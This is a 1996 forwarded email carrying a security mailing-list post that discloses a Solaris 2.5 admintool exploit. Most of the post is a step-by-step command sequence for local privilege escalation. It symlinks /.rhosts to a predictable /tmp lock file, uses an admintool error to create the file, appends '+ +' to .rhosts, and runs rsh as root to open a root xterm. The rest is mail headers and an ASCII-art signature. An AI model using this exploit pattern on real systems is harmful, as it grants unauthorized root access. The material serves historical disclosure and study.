From tphilli1@calgary.qc-data.com Wed Jul 31 00:23:59 1996 Received: from Spider.qc-data.com (SPIDER.QC-DATA.COM [204.209.248.200]) by suburbia.net (8.7.4/Proff-950810) with SMTP id AAA04404 for ; Wed, 31 Jul 1996 00:22:23 +1000 Received: from qc-data.com by Spider.qc-data.com (SMI-8.6/SMI-SVR4) id IAA04568; Tue, 30 Jul 1996 08:24:59 -0600 Received: from calgary.qc-data.com by qc-data.com (SMI-8.6/SMI-SVR4) id IAA21684; Tue, 30 Jul 1996 08:29:04 -0600 Received: by calgary.qc-data.com (SMI-8.6/SMI-SVR4) id IAA26293; Tue, 30 Jul 1996 08:28:55 -0600 Message-ID: X-Mailer: XFMail 0.4 [p0] on Solaris Sender: tphilli1@sun118.calgary.qc-data.com Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit MIME-Version: 1.0 Resent-Date: Tue, 30 Jul 1996 13:45:14 +0200 (MET DST) Resent-Message-Id: <199607301145.NAA22247@netto.telepost.no> Resent-From: Tor Houghton Resent-To: best-of-security@suburbia.net Date: Tue, 30 Jul 1996 08:27:47 -0600 (MDT) Organization: QC Data Petroleum Services Ltd. From: Trent_Phillips@calgary.qc-data.com To: Jerry_Mychasuik@calgary.qc-data.com Subject: FW: BoS: Solaris 2.5 Exploit (/usr/bin/admintool) -----FW: <199607301145.NAA22247@netto.telepost.no>----- Date: Tue, 30 Jul 1996 13:45:14 +0200 (MET DST) From: Tor Houghton To: best-of-security@suburbia.net Subject: BoS: Solaris 2.5 Exploit (/usr/bin/admintool) I found that /usr/bin/admintool was easier. setenv DISPLAY yourdisplay:0.0 ln -s /.rhosts /tmp/.group.lock /usr/bin/admintool (browse -> group -> edit a group -> get an error message -> exit) echo "+ +" >> .rhosts /usr/bin/rsh localhost -l root "(/usr/openwin/bin/xterm&)" Just my opinion. Tor Houghton Telenor Online AS -------------End of forwarding message------------------------- _____ _//--- /^ ^\ _/oooO_/_/_/_/( O O )_/_/Oooo_/_/_/_/_/_/_/_/_/_/_/_/_/_/_// _/ \ / _/ _/ oooO \ / Trent_Phillips@calgary.qc-data.com _/ _/ ( ) V _/ _/_/_/\ (/_/_/_/_/_/_/_/_/_/_\ \Oooo_/_/_/_/_/_/_/_/_/_/ \_) \ ( ) \ ) / (_/